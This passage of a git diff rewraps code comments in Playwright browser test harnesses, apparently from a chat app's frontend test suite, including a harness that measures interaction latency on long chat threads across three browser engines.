-796,11 +789,10 @@ with sync_playwright() as p:):extended_for.add(open_req)next_rows_ms = extra_ms- # The extension is worth nothing if the step deadline still- # ends inside it: rows_ms is min()ed against what is left, so- # the second search would be cut off mid-flight and reported- # as a scroll failure. Push the deadline past the request just- # re-based onto, up to the ceiling.+ # The extension is worth nothing if the step deadline still ends inside it: rows_ms is+ # min()ed against what is left, so the second search would be cut off mid-flight and+ # reported as a scroll failure. Push the deadline past the request just re-based onto,+ # up to the ceiling.wheel_deadline = min(wheel_started_at + WHEEL_DEADLINE_MAX_S,max(wheel_deadline, time.monotonic() + extra_ms / 1000),@@ -811,12 +803,11 @@ with sync_playwright() as p:"answer or abort")continue- # Falling back to the built-in list means asserting the wheel against the- # pre-search list this step was rewritten to stop accepting, so it takes- # proof that the Hub is what is missing: a failed huggingface.co request- # (or 429/5xx), or a runner that declares itself offline. Search rendering- # that breaks with the Hub answering normally has no such proof and fails- # here with the geometry, instead of passing on the built-in list.+ # Falling back to the built-in list means asserting the wheel against the pre-search list this+ # step was rewritten to stop accepting, so it takes proof that the Hub is what is missing: a+ # failed huggingface.co request (or 429/5xx), or a runner that declares itself offline. Search+ # rendering that breaks with the Hub answering normally has no such proof and fails here with+ # the geometry, instead of passing on the built-in list.offline = bool(hf_unreachable) or HF_OFFLINEif cleared_search or not offline:break # never overflowed with rows; geometry is reported below@@ -833,8 +824,8 @@ with sync_playwright() as p:try:page.wait_for_function(scrolled_js, timeout = 2_000)except Exception as wheel_err:- # A dead renderer must still reach the crash handler below, not be- # retried until the deadline and reported as a scroll failure.+ # A dead renderer must still reach the crash handler below, not be retried until the deadline+ # and reported as a scroll failure.if page_crashed(page, wheel_err):raisecontinue@@ -842,8 +833,8 @@ with sync_playwright() as p:if wheel_scrolled:info("OK Voice model picker mouse wheel changed scrollTop")else:- # Geometry in the message: the next failure says whether the list was- # short, empty or scrollable-but-unscrolled without a second CI run.+ # Geometry in the message: the next failure says whether the list was short, empty or+ # scrollable-but-unscrolled without a second CI run.try:geom = robust_evaluate(page,@@ -878,8 +869,8 @@ with sync_playwright() as p:fail(f"Voice model picker did not wheel-scroll: {exc!r}")finally:wheel_step_active[0] = False- # When the crash closed the context/browser, recover_or_replace_page hands back the closed page;- # skip the cosmetic teardown rather than re-raise TargetClosedError on it.+ # When the crash closed the context/browser, recover_or_replace_page hands back the closed page; skip the+ # cosmetic teardown rather than re-raise TargetClosedError on it.if not page.is_closed():shoot("10-settings-tabs-visited")page.keyboard.press("Escape")diff --git a/tests/studio/playwright_heavy_thread.py b/tests/studio/playwright_heavy_thread.pyindex 482a4674164..bcdd31d8ec1 100644--- a/tests/studio/playwright_heavy_thread.py+++ b/tests/studio/playwright_heavy_thread.py@@ -132,8 +132,8 @@ from _playwright_robust import ( # noqa: E402PORT = int(os.environ.get("SMOKE_PORT", "5215"))# Exported-but-empty counts as unset, else we skip the server and drive "" as the URL.-# rstrip("/"): a trailing slash makes the anchored /api/ route regex below never match, silently-# turning the stubbed fan-out back into live HTTP.+# rstrip("/"): a trailing slash makes the anchored /api/ route regex below never match, silently turning the stubbed+# fan-out back into live HTTP._EXTERNAL = os.environ.get("SMOKE_BASE_URL", "").strip().rstrip("/")BASE = _EXTERNAL or f"http://127.0.0.1:{PORT}"OWNS_SERVER = not _EXTERNAL@@ -141,9 +141,8 @@ LABEL = os.environ.get("SMOKE_LABEL", "tree")OUT = Path(os.environ.get("PW_ART_DIR", "logs/playwright-heavy-thread"))OUT.mkdir(parents = True, exist_ok = True)-# Characters of thread content, not messages. Sorted: the growth check reads the first and last-# entries as smallest and largest, so an unsorted override would invert every ratio and report a-# good run as measuring nothing.+# Characters of thread content, not messages. Sorted: the growth check reads the first and last entries as smallest+# and largest, so an unsorted override would invert every ratio and report a good run as measuring nothing.SIZES = sorted(int(n) for n in os.environ.get("SMOKE_HEAVY_CHARS", "25000,100000,300000").split(","))@@ -153,11 +152,11 @@ ENGINES = [if e.strip()]# Every action set is run this many times on the seeded page and the table reports the MEDIAN.-# The first repetition is systematically the slowest (cold Shiki cache, cold layout), which is-# exactly why the headline is a median rather than a mean or a single shot.+# The first repetition is systematically the slowest (cold Shiki cache, cold layout), which is exactly why the headline+# is a median rather than a mean or a single shot.REPEATS = int(os.environ.get("SMOKE_HEAVY_REPEATS", "3"))-# Chromium only, and off by default. Throttling is a CDP feature, so switching it on makes the-# chromium column incomparable with the other two.+# Chromium only, and off by default. Throttling is a CDP feature, so switching it on makes the chromium column+# incomparable with the other two.CPU_THROTTLE_RATE = float(os.environ.get("SMOKE_CPU_THROTTLE", "1"))KEYSTROKES = int(os.environ.get("SMOKE_KEYSTROKES", "5"))@@ -169,22 +168,22 @@ ACTION_TIMEOUT_MS = int(os.environ.get("SMOKE_ACTION_TIMEOUT_MS", "120000"))# action that never happened and nothing else, so it has to stay well above the slowest honest# measurement or a very slow open is reported as "never opened".SETTLE_TIMEOUT_MS = int(os.environ.get("SMOKE_SETTLE_TIMEOUT_MS", "120000"))-# How long the highlighter has to stay still before a re-open counts as finished. Four polls of-# the 250ms interval wait_for_highlighting_settled() uses, because that is what was MEASURED to be-# needed: a gate that released after one 250ms lull released mid-rebuild. The grace is not charged-# to the action -- quietUntilIdle() reports the time of the last activity, not of the timeout.+# How long the highlighter has to stay still before a re-open counts as finished.+# Four polls of the 250ms interval wait_for_highlighting_settled() uses, because that is what was MEASURED to be needed:+# a gate that released after one 250ms lull released mid-rebuild. The grace is not charged to the action --+# quietUntilIdle() reports the time of the last activity, not of the timeout.HIGHLIGHT_GRACE_MS = int(os.environ.get("SMOKE_HIGHLIGHT_GRACE_MS", "1000"))-# How often the settle loop is allowed to count highlighted tokens. It is a document-wide query,-# so per frame it would be an O(nodes) cost inside the region being timed, growing with the thread.+# How often the settle loop is allowed to count highlighted tokens. It is a document-wide query, so per frame it would+# be an O(nodes) cost inside the region being timed, growing with the thread.HIGHLIGHT_PROBE_MS = int(os.environ.get("SMOKE_HIGHLIGHT_PROBE_MS", "100"))ACTIONS = ("keystroke", "scroll", "jump", "menu", "delete", "reopen")# Installed into every page before anything else runs.## The rAF wrapper COUNTS, it does not pump. Replacing rAF with a fixed timer -- which-# playwright_chat_autoscroll.py does on purpose, because it counts frames -- would destroy every-# time-to-paint number this file exists to read. The harness's own waits use the unwrapped-# reference, so __rafCount stays a count of the page's frames rather than of this file's.+# playwright_chat_autoscroll.py does on purpose, because it counts frames -- would destroy every time-to-paint number+# this file exists to read. The harness's own waits use the unwrapped reference, so __rafCount stays a count of the+# page's frames rather than of this file's.RECORDER_INIT = """(() => {const nativeRaf = window.requestAnimationFrame.bind(window);@@ -404,9 +403,9 @@ def info(message: str) -> None:# Each one brackets itself with __hv.begin()/__hv.end(), so the recorder window is exactly the# action rather than the action plus a CDP round trip.-# One character through the native value setter plus an input event: what the browser leaves-# behind after a real keypress, and what React's controlled textarea reacts to. Resolved on the-# second rAF, which is the frame that has painted it.+# One character through the native value setter plus an input event: what the browser leaves behind after a real+# keypress, and what React's controlled textarea reacts to. Resolved on the second rAF, which is the frame that has+# painted it.KEYSTROKE_JS = """async (count) => {const api = window.__heavyThread;@@ -487,11 +486,10 @@ async ([steps, stepPx, settleMs]) => {}"""-# A wheel gesture of fixed length traverses a fixed number of pixels, so it is comparable across-# sizes -- and, measured, it turns out to be nearly free at any size, because the layout was-# already done at mount. That is a real answer, but it is only half of "scrolling". The other half-# is the jump: dragging the scrollbar or hitting Home moves the viewport to a region the compositor-# has nothing for, which is what a user does when they go looking for an earlier answer.+# A wheel gesture of fixed length traverses a fixed number of pixels, so it is comparable across sizes -- and, measured,+# it turns out to be nearly free at any size, because the layout was already done at mount. That is a real answer, but+# it is only half of "scrolling". The other half is the jump: dragging the scrollbar or hitting Home moves the viewport+# to a region the compositor has nothing for, which is what a user does when they go looking for an earlier answer.JUMP_JS = """async (settleMs) => {const api = window.__heavyThread;@@ -527,17 +525,18 @@ async (settleMs) => {}"""-# Radix portals the menu to document.body and puts the body on the modal layer, which is the-# fan-out under suspicion. bodyPointerEvents proves the open really took that path.+# Radix portals the menu to document.body and puts the body on the modal layer, which is the fan-out under suspicion.+# bodyPointerEvents proves the open really took that path.#-# The trigger opens on `pointerdown`, not on `click`: an element.click() leaves the menu shut and-# the whole measurement silently reads zero. Hence the pointer pair.+# The trigger opens on `pointerdown`, not on `click`: an element.click() leaves the menu shut and the whole measurement+# silently reads zero. Hence the pointer pair.#-# Everything this window scans, it scans a FIXED number of times: two observer queries, one per-# portal mutation, and the two censuses below, once each. Measured on Chromium at 300K that is-# 2.7ms of a 3208ms open+close, against 0.3ms of 375ms at 25K -- 0.08% of the number at both-# ends, so the share does not grow with the axis. Removing them entirely was measured too, on one-# page, alternating with the version above: 3389ms against 3394ms at 300K.+# Everything this window scans, it scans a FIXED number of times: two observer queries, one per portal mutation, and the+# two censuses below, once each.+# Measured on Chromium at 300K that is 2.7ms of a 3208ms open+close, against 0.3ms of 375ms at 25K -- 0.08% of the+# number at both ends, so the share does not grow with the axis.+# Removing them entirely was measured too, on one page, alternating with the version above: 3389ms against 3394ms at+# 300K.MENU_JS = """async (timeoutMs) => {const api = window.__heavyThread;@@ -629,28 +628,25 @@ async (timeoutMs) => {}"""-# Leaving a thread and coming back. The runtime keeps the messages; the Thread subtree is torn-# down and rebuilt, which is every markdown block, every Shiki fence and every action bar mounted-# again from nothing. This is the action users describe as "it hangs when I click back into the-# conversation", and it is the one that has no incremental path at all.+# Leaving a thread and coming back. The runtime keeps the messages; the Thread subtree is torn down and rebuilt, which+# is every markdown block, every Shiki fence and every action bar mounted again from nothing. This is the action users+# describe as "it hangs when I click back into the conversation", and it is the one that has no incremental path at all.#-# What comes back is the thread with its COMPLETED TOOL CARDS SHUT, because that is what the app-# does: tool-ui-python.tsx mounts with `defaultOpen={isRunning}` and tool-ui-code-execution.tsx-# initialises its `open` state from the same false flag, so a finished card remounts collapsed.-# The panes are therefore in the census this cell prints and not in the rebuild it times, and the-# gap was measured rather than assumed: 3999 DOM nodes expanded against 3981 rebuilt at 25K, and-# 42873 against 42675 at 300K. That is 0.45% and 0.46% of the tree, the same fraction at both-# ends, so it moves the ratio by nothing. Highlighted tokens are IDENTICAL in the two states-# (3216 and 35086), because the Shiki-highlighted cell renders outside the collapsible by design-# (#7165) and what is inside it is a plain <pre>: the settle probe below sees the same signal-# either way. Expanding them inside the window would mean a document-wide querySelectorAll for-# the triggers plus one synthetic click per card, 22 of them at 300K -- harness work that grows-# with the axis, to time a state the app never rebuilds into.+# What comes back is the thread with its COMPLETED TOOL CARDS SHUT, because that is what the app does:+# tool-ui-python.tsx mounts with `defaultOpen={isRunning}` and tool-ui-code-execution.tsx initialises its `open` state+# from the same false flag, so a finished card remounts collapsed.+# The panes are therefore in the census this cell prints and not in the rebuild it times, and the gap was measured+# rather than assumed: 3999 DOM nodes expanded against 3981 rebuilt at 25K, and 42873 against 42675 at 300K.+# That is 0.45% and 0.46% of the tree, the same fraction at both ends, so it moves the ratio by nothing.+# Highlighted tokens are IDENTICAL in the two states (3216 and 35086), because the Shiki-highlighted cell renders+# outside the collapsible by design (#7165) and what is inside it is a plain <pre>: the settle probe below sees the same+# signal either way. Expanding them inside the window would mean a document-wide querySelectorAll for the triggers plus+# one synthetic click per card, 22 of them at 300K -- harness work that grows with the axis, to time a state the app+# never rebuilds into.#-# The two messageCount() calls this makes inside the window are the harness's whole footprint in-# the number: measured on Chromium at 300K, 0.4ms of a 2292ms re-open, and 0.0ms of 363ms at 25K.-# The loop cannot poll more often than that because the rebuild is one blocking commit, so the-# rAF the loop waits on does not fire during it.+# The two messageCount() calls this makes inside the window are the harness's whole footprint in the number: measured on+# Chromium at 300K, 0.4ms of a 2292ms re-open, and 0.0ms of 363ms at 25K. The loop cannot poll more often than that+# because the rebuild is one blocking commit, so the rAF the loop waits on does not fire during it.REOPEN_JS = """async ([timeoutMs, settleMs, graceMs, probeEveryMs]) => {const api = window.__heavyThread;@@ -778,10 +774,9 @@ def cdp_counters(before: dict[str, float], after: dict[str, float]) -> dict[str,def long_task_summary(page) -> dict[str, float | None]:"""CHROMIUM-ONLY. `supported` is the point: without it, an engine with no Long Tasks APIreports zero jank in exactly the same shape as an engine that had none."""- # PerformanceObserver callbacks are delivered on a later task, so the entry for the long task- # at the tail of an action is not in the array yet. Yield once before reading, or the worst- # entry is silently dropped -- flakily, and most often at large sizes where that tail task is- # longest.+ # PerformanceObserver callbacks are delivered on a later task, so the entry for the long task at the tail of an+ # action is not in the array yet. Yield once before reading, or the worst entry is silently dropped -- flakily, and+ # most often at large sizes where that tail task is longest.got = page.evaluate("""async () => {await new Promise((r) => setTimeout(r, 0));@@ -844,15 +839,13 @@ def run_action(page, cdp, name: str, script: str, arg) -> dict:# The gate that says expandTools() really mounted the result panes.#-# It reads codeExecutionPanes, which is `[data-slot="tool-fallback-content"] pre`, and NOT-# collapsibleOutputs, which is the content element itself. Radix keeps that element in the tree-# for its collapse animation, so it is present while the card is shut: measured on this tree at-# 300K characters, immediately after seeding and BEFORE any expandTools() call, collapsibleOutputs-# was already 22 of the 22 expected while codeExecutionPanes was 0. A `collapsibleOutputs >= n`-# gate is therefore satisfied by a thread of closed cards -- it cannot fail, and it released the-# highlighter wait below before the fences it exists to sequence had mounted. The pane's <pre> is-# a child of that element, so it appears only once the card is really open: 0 collapsed, 22-# expanded, at both sizes on all three engines.+# It reads codeExecutionPanes, which is `[data-slot="tool-fallback-content"] pre`, and NOT collapsibleOutputs, which is+# the content element itself. Radix keeps that element in the tree for its collapse animation, so it is present while+# the card is shut: measured on this tree at 300K characters, immediately after seeding and BEFORE any expandTools()+# call, collapsibleOutputs was already 22 of the 22 expected while codeExecutionPanes was 0. A `collapsibleOutputs >= n`+# gate is therefore satisfied by a thread of closed cards -- it cannot fail, and it released the highlighter wait below+# before the fences it exists to sequence had mounted. The pane's <pre> is a child of that element, so it appears only+# once the card is really open: 0 collapsed, 22 expanded, at both sizes on all three engines.EXPANDED_PANES_GATE_JS = "(n) => window.__heavyThread.counts().codeExecutionPanes >= n"@@ -879,11 +872,11 @@ def build_fixture(page) -> None:def one_repetition(page, cdp) -> dict[str, dict]:"""The five scripted actions, once, in the order a user meets them."""rep: dict[str, dict] = {}- # The previous repetition ended by re-opening the thread, which throws away every highlighted- # fence and starts Shiki again, and by deleting a message, which the restore below puts back.- # Without this wait, repetitions 2 and 3 measure a thread that is still building itself:- # measured on Chromium at 300K, the scroll gesture read 667ms on the first repetition and- # 1100ms on the two that followed, and the difference was the re-highlighting, not the scroll.+ # The previous repetition ended by re-opening the thread, which throws away every highlighted fence and starts Shiki+ # again, and by deleting a message, which the restore below puts back.+ # Without this wait, repetitions 2 and 3 measure a thread that is still building itself: measured on Chromium at+ # 300K, the scroll gesture read 667ms on the first repetition and 1100ms on the two that followed, and the+ # difference was the re-highlighting, not the scroll.build_fixture(page)rep["keystroke"] = run_action(page, cdp, "keystroke", KEYSTROKE_JS, KEYSTROKES)rep["scroll"] = run_action(@@ -896,8 +889,8 @@ def one_repetition(page, cdp) -> dict[str, dict]:rep["jump"] = run_action(page, cdp, "jump", JUMP_JS, SETTLE_TIMEOUT_MS)# The action bar is hover-revealed, so put the pointer on the message before reaching for it.- # behavior: "instant" -- the viewport carries scroll-smooth, so the default animates and at- # large sizes leaves that animation in flight inside the menu counters.+ # behavior: "instant" -- the viewport carries scroll-smooth, so the default animates and at large sizes leaves that+ # animation in flight inside the menu counters.page.evaluate("""() => { const m = window.__heavyThread.lastAssistantMessage();if (m) m.scrollIntoView({ block: "center", behavior: "instant" }); }"""@@ -942,8 +935,8 @@ def one_repetition(page, cdp) -> dict[str, dict]:return rep-# Portable headline per action, plus the action's own DOM-observable duration. `floored` marks a-# value clocked across a double rAF, which carries the ~33ms vsync floor.+# Portable headline per action, plus the action's own DOM-observable duration. `floored` marks a value clocked across+# a double rAF, which carries the ~33ms vsync floor.HEADLINE = {"keystroke": ("median_sample_ms", True),"scroll": ("gestureMs", False),@@ -977,13 +970,13 @@ def summarise(reps: list[dict[str, dict]]) -> dict[str, dict]:numeric_keys.add(key)for key in sorted(numeric_keys):merged[key] = median([r.get(key) for r in rows])- # Values that are not numbers are proofs the action really happened, not timings, so the- # last repetition's is kept verbatim rather than aggregated.+ # Values that are not numbers are proofs the action really happened, not timings, so the last repetition's is+ # kept verbatim rather than aggregated.for key in ("domText", "runtimeText", "bodyPointerEvents", "bodyPointerEventsAfterClose"):if key in rows[-1]:merged[key] = rows[-1][key]- # The headline value from each repetition, unaggregated, so a median can be checked- # against the spread it came from rather than taken on trust.+ # The headline value from each repetition, unaggregated, so a median can be checked against the spread it came+ # from rather than taken on trust.merged["per_repetition"] = [r.get(HEADLINE[action][0]) for r in rows]out[action] = mergedreturn out@@ -993,21 +986,19 @@ def measure_cell(context, engine: str, size: int) -> dict:"""Seed a fresh page to `size` characters of content and run the action set REPEATS times."""page = context.new_page()result: dict = {"chars_requested": size, "engine": engine}- # A request that escapes to the server, or a warning storm, is work this harness would be- # charging to the app once per message. Both are cleared after seeding, so what is asserted on- # is the measured actions rather than page load.+ # A request that escapes to the server, or a warning storm, is work this harness would be charging to the app once+ # per message. Both are cleared after seeding, so what is asserted on is the measured actions rather than page load.## startswith, not `"/api/" in url`: vite serves the app's own source modules from paths like- # /src/features/chat/api/chat-api.ts, and a substring match counts dozens of those as network- # calls. Same trap the route regex is anchored to avoid.+ # /src/features/chat/api/chat-api.ts, and a substring match counts dozens of those as network calls. Same trap the+ # route regex is anchored to avoid.api_prefix = f"{BASE}/api/"stray_requests: list[str] = []console_warnings: list[str] = []- # Severity kept SEPARATE from the warning list. The allowance below exists for Gecko's two- # scroll-anchoring notices, which are the engine describing itself. An application exception- # is not chatter: a single console.error or an uncaught pageerror inside a measured- # interaction means the interaction did not do what the row says it did, and folding those- # into the same list let one pass under a "> 4" threshold and exit 0.+ # Severity kept SEPARATE from the warning list. The allowance below exists for Gecko's two scroll-anchoring+ # notices, which are the engine describing itself. An application exception is not chatter: a single console.error+ # or an uncaught pageerror inside a measured interaction means the interaction did not do what the row says it did,+ # and folding those into the same list let one pass under a "> 4" threshold and exit 0.console_errors: list[str] = []page.on("request",@@ -1032,29 +1023,29 @@ def measure_cell(context, engine: str, size: int) -> dict:cdp = context.new_cdp_session(page)cdp.send("Performance.enable")- # Seeding unthrottled and untimed: this measures interaction cost at a thread size, not- # the cost of building the thread.+ # Seeding unthrottled and untimed: this measures interaction cost at a thread size, not the cost of building+ # the thread.plan = page.evaluate("(n) => window.__heavyThread.seed(n)", size)result["plan"] = plan- # Single-selector gates. counts() walks every element in the document, so polling it per- # frame makes seeding superlinear in the thing being seeded.+ # Single-selector gates. counts() walks every element in the document, so polling it per frame makes seeding+ # superlinear in the thing being seeded.page.wait_for_function("(n) => window.__heavyThread.messageCount() >= n",arg = plan["messages"],timeout = SEED_TIMEOUT_MS,)- # Radix unmounts collapsed content, so a thread of closed tool cards carries no result- # panes at all. Open them before the census: a user who has just watched those tools run- # is looking at them open, and the closed thread is a different fixture.+ # Radix unmounts collapsed content, so a thread of closed tool cards carries no result panes at all. Open them+ # before the census: a user who has just watched those tools run is looking at them open, and the closed thread+ # is a different fixture.result["tool_triggers_expanded"] = page.evaluate("() => window.__heavyThread.expandTools()")page.wait_for_function(EXPANDED_PANES_GATE_JS,arg = max(1, result["tool_triggers_expanded"]),timeout = SEED_TIMEOUT_MS,)- # Shiki is async and per block, and a <pre> exists before it is highlighted, so counting- # code blocks gates nothing. Wait for the token count to stop moving instead: unfinished- # highlighting would otherwise land in the keystroke window, the first action measured.+ # Shiki is async and per block, and a <pre> exists before it is highlighted, so counting code blocks gates+ # nothing. Wait for the token count to stop moving instead: unfinished highlighting would otherwise land in the+ # keystroke window, the first action measured.wait_for_highlighting_settled(page, SEED_TIMEOUT_MS)result["counts"] = page.evaluate("window.__heavyThread.counts()")result["viewport"] = page.evaluate("window.__heavyThread.viewportMetrics()")@@ -1087,16 +1078,14 @@ def measure_cell(context, engine: str, size: int) -> dict:# Cumulative over seeding and every action: a liveness check, not attributable to any one.result["raf_callbacks"] = page.evaluate("window.__rafCount")result["stray_api_requests"] = len(stray_requests)- # The URLs, not only how many. A count alone says an interaction paid for a- # round trip without saying which one, so the failure names a symptom and- # nothing else -- the reader has to bisect the frontend to learn what the- # harness already knew and threw away. Deduplicated and capped: the point is- # to name the endpoints, and a per-message request would otherwise print- # hundreds of copies of one line.+ # The URLs, not only how many. A count alone says an interaction paid for a round trip without saying which+ # one, so the failure names a symptom and nothing else -- the reader has to bisect the frontend to learn what+ # the harness already knew and threw away. Deduplicated and capped: the point is to name the endpoints, and a+ # per-message request would otherwise print hundreds of copies of one line.result["stray_api_urls"] = sorted(set(stray_requests))[:8]- # Answered inside the page by the smoke entry's allowlist. Reported rather than hidden:- # these cost no round trip, but they are real requests the app makes and the number- # should not vanish just because the harness declines to pay for them.+ # Answered inside the page by the smoke entry's allowlist. Reported rather than hidden: these cost no round+ # trip, but they are real requests the app makes and the number should not vanish just because the harness+ # declines to pay for them.result["stubbed_api_requests"] = len(page.evaluate("window.__stubbedApi || []"))result["console_warnings"] = len(console_warnings)result["first_console_warning"] = console_warnings[0] if console_warnings else "-"@@ -1122,16 +1111,16 @@ def run() -> dict:info(f"engine {engine}")launcher = getattr(p, engine)kwargs = {"headless": os.environ.get("SMOKE_HEADLESS", "1") == "1"}- # Chromium-only flags. Passing them to Firefox or WebKit is not "ignored", it is a- # launch failure, which would read as "this engine is unavailable".+ # Chromium-only flags. Passing them to Firefox or WebKit is not "ignored", it is a launch failure, which+ # would read as "this engine is unavailable".if engine == "chromium":kwargs["args"] = chromium_launch_args()browser = launcher.launch(**kwargs)results["by_engine"][engine] = {"version": browser.version, "by_size": {}}context = browser.new_context(viewport = {"width": 1440, "height": 900})context.add_init_script(RECORDER_INIT)- # Anchored at the origin so it cannot swallow vite's own module URLs, which live- # under src/features/**/api/ and would otherwise match a bare "/api/" pattern.+ # Anchored at the origin so it cannot swallow vite's own module URLs, which live under src/features/**/api/+ # and would otherwise match a bare "/api/" pattern.context.route(re.compile(rf"^{re.escape(BASE)}/api/"),lambda route: route.fulfill(@@ -1142,11 +1131,10 @@ def run() -> dict:)for size in SIZES:info(f"measuring {engine} at {size} chars")- # A renderer that dies mid-cell used to take the whole matrix with it: nine cells- # of work thrown away because one WebKit page ran out of memory at 300K on a- # loaded machine. The cell is recorded as crashed, the run continues, and- # harness_failures reports it -- a crash is still a failure, it is just no longer- # a failure that destroys the eight measurements that did work.+ # A renderer that dies mid-cell used to take the whole matrix with it: nine cells of work thrown away+ # because one WebKit page ran out of memory at 300K on a loaded machine. The cell is recorded as+ # crashed, the run continues, and harness_failures reports it -- a crash is still a failure, it is just+ # no longer a failure that destroys the eight measurements that did work.try:cell = measure_cell(context, engine, size)except Exception as exc: # noqa: BLE001 - the message is the whole point@@ -1162,11 +1150,11 @@ def run() -> dict:return results-# Every recorded metric appears here. That is the rule the harnesses in this directory are held-# to: a metric that is recorded and never read is how one goes false-green, and-# tests/studio/test_heavy_thread_harness_contract.py fails if anything recorded below is missing.-# CHROMIUM-ONLY rows are labelled in their own name, because off Chromium they print `-` and a-# `-` that means "not supported here" must not read as "zero".+# Every recorded metric appears here.+# That is the rule the harnesses in this directory are held to: a metric that is recorded and never read is how one goes+# false-green, and tests/studio/test_heavy_thread_harness_contract.py fails if anything recorded below is missing.+# CHROMIUM-ONLY rows are labelled in their own name, because off Chromium they print `-` and a `-` that means "not+# supported here" must not read as "zero".def _action(action: str, key: str):return lambda r: r["actions"][action][key]@@ -1202,9 +1190,9 @@ TABLE_ROWS = (("messages rendered", lambda r: r["counts"]["messages"]),("dom nodes", lambda r: r["counts"]["domNodes"]),("code blocks", lambda r: r["counts"]["codeBlocks"]),- # Side by side deliberately: `code chars` is what the fixture built and does not move when a- # fence defers, while `highlighted tokens` and `deferred fences` are how much of it the- # viewport reached. Only the first is a statement about the fixture.+ # Side by side deliberately: `code chars` is what the fixture built and does not move when a fence defers, while+ # `highlighted tokens` and `deferred fences` are how much of it the viewport reached. Only the first is a statement+ # about the fixture.("code chars", lambda r: r["counts"].get("codeChars", 0)),("highlighted tokens", lambda r: r["counts"]["highlightedTokens"]),("fence blocks", lambda r: r["counts"].get("fenceBlocks", 0)),@@ -1310,8 +1298,8 @@ def print_table(results: dict) -> None:cells.append("-")rows.append((name, cells))label_width = max(len(name) for name, _ in rows) + 2- # From the widest cell, not a constant: a fixed width silently runs the columns together on- # the one row that overflows it, which is the row you were reading.+ # From the widest cell, not a constant: a fixed width silently runs the columns together on the one row that+ # overflows it, which is the row you were reading.headers = [f"{engine[:4]}/{int(size) // 1000}K" for engine, size in columns]cell_width = max([len(c) for _, cells in rows for c in cells] + [len(h) for h in headers]) + 2header = "".ljust(label_width) + "".join(h.rjust(cell_width) for h in headers)@@ -1323,30 +1311,29 @@ def print_table(results: dict) -> None:# The double-rAF waits inside `reopen ms` that are OBSERVATION rather than latency.#-# Exactly one. Reopening is driven by a React state update, so the count check immediately after-# openThread() always still sees the unmounted tree, and the loop always pays one __nextPaint()-# before a completed reopen can be seen at all. That wait is the instrument, not the application,-# and it comes out of the number.+# Exactly one. Reopening is driven by a React state update, so the count check immediately after openThread() always+# still sees the unmounted tree, and the loop always pays one __nextPaint() before a completed reopen can be seen at+# all. That wait is the instrument, not the application, and it comes out of the number.#-# Every FURTHER wait the loop pays is not overhead. The poll runs in the same rAF queue as the-# application's own commits, so on a build that brings a long thread back over several animation-# frames those waits ARE the application mounting rows, and the time inside them is real-# convergence latency that a reader waits through.+# Every FURTHER wait the loop pays is not overhead. The poll runs in the same rAF queue as the application's own+# commits, so on a build that brings a long thread back over several animation frames those waits ARE the application+# mounting rows, and the time inside them is real convergence latency that a reader waits through.#-# This is why the count is a constant and not `_floor_from("reopen", "paintWaits")`. The measured-# count is 1 on a build that rebuilds in one commit and rises with thread size on one that mounts-# progressively (1 at 25K, 8 at 100K, 24 at 300K on a 220-message fixture), so subtracting all of-# them removed ~33ms from one arm's 300K cell and ~800ms from the other's. That is asymmetric-# between the two arms of a comparison AND grows with the axis being varied: it reported a reopen-# curve that rises faster than the single-commit build's (7.60x against 7.08x from 25K to 300K) as-# one that rises slower (5.07x), which is the opposite sign. A floor exists to remove a CONSTANT-# the instrument adds, and the moment it tracks the thing being measured it is no longer a floor.+# This is why the count is a constant and not `_floor_from("reopen", "paintWaits")`.+# The measured count is 1 on a build that rebuilds in one commit and rises with thread size on one that mounts+# progressively (1 at 25K, 8 at 100K, 24 at 300K on a 220-message fixture), so subtracting all of them removed ~33ms+# from one arm's 300K cell and ~800ms from the other's.+# That is asymmetric between the two arms of a comparison AND grows with the axis being varied: it reported a reopen+# curve that rises faster than the single-commit build's (7.60x against 7.08x from 25K to 300K) as one that rises slower+# (5.07x), which is the opposite sign.+# A floor exists to remove a CONSTANT the instrument adds, and the moment it tracks the thing being measured it is no+# longer a floor.REOPEN_OBSERVATION_FLOOR = 1-# `<action> wall ms` spans the whole recorder window and normally takes the window's measured-# `paint_waits`, because for every other action those waits are harness-imposed idle time between-# driven steps. Reopen is the exception for the reason above: its window holds the close loop and-# the reopen loop, and on a progressive-mount build the reopen loop's waits are the application's-# commit frames. The observation floors in that window are the two terminal waits, one per loop.+# `<action> wall ms` spans the whole recorder window and normally takes the window's measured `paint_waits`, because+# for every other action those waits are harness-imposed idle time between driven steps. Reopen is the exception for+# the reason above: its window holds the close loop and the reopen loop, and on a progressive-mount build the reopen+# loop's waits are the application's commit frames. The observation floors in that window are the two terminal waits,+# one per loop.WALL_FLOOR_OVERRIDES = {"reopen": 1 + REOPEN_OBSERVATION_FLOOR}@@ -1357,39 +1344,37 @@ def _wall_floor(action: str):return _floor_from(action, "paint_waits") if override is None else override-# Growth axes: the whole point of the harness is that these rise with content. The third field is-# HOW MANY double-rAF waits the metric is clocked across; each one carries its own ~33ms vsync-# floor, and left in, that floor compresses every ratio towards 1 and lets a real regression sit-# under the threshold. `menu open+close ms` is the sum of two independently floored timings, so it-# carries two.+# Growth axes: the whole point of the harness is that these rise with content. The third field is HOW MANY double-rAF+# waits the metric is clocked across; each one carries its own ~33ms vsync floor, and left in, that floor compresses+# every ratio towards 1 and lets a real regression sit under the threshold. `menu open+close ms` is the sum of two+# independently floored timings, so it carries two.GROWTH_AXES = tuple([(f"{a} longest stall ms", _action(a, "longest_stall_ms"), 0) for a in ACTIONS]+ [(f"{a} worst frame ms", _action(a, "worst_frame_ms"), 0) for a in ACTIONS]+ [(f"{a} frames over 33ms", _action(a, "frames_over_33"), 0) for a in ACTIONS]- # The floor is READ from the row, not declared: every one of these windows crosses a- # different number of mandatory double-rAF waits, and declaring 0 for all of them left- # roughly `paint_waits * paint_floor_ms` of constant baseline in both ends of the ratio.- # MENU_JS is the clearest case: it opens the recorder before opening the menu and closes it- # after closing it, so it crosses the same two waits `menu open+close ms` correctly declares,- # and `menu wall ms` was declaring none of them. The one exception is in WALL_FLOOR_OVERRIDES:- # reading the row is only right while the waits in the window are the harness idling between- # driven steps, and reopen's are not.+ # The floor is READ from the row, not declared: every one of these windows crosses a different number of mandatory+ # double-rAF waits, and declaring 0 for all of them left roughly `paint_waits * paint_floor_ms` of constant baseline+ # in both ends of the ratio.+ # MENU_JS is the clearest case: it opens the recorder before opening the menu and closes it after closing it, so it+ # crosses the same two waits `menu open+close ms` correctly declares, and `menu wall ms` was declaring none of them.+ # The one exception is in WALL_FLOOR_OVERRIDES: reading the row is only right while the waits in the window are the+ # harness idling between driven steps, and reopen's are not.+ [(f"{a} wall ms", _action(a, "wall_ms"), _wall_floor(a)) for a in ACTIONS]+ [- # The rule for the entries below: an axis measured from `__hv.startedAt` spans 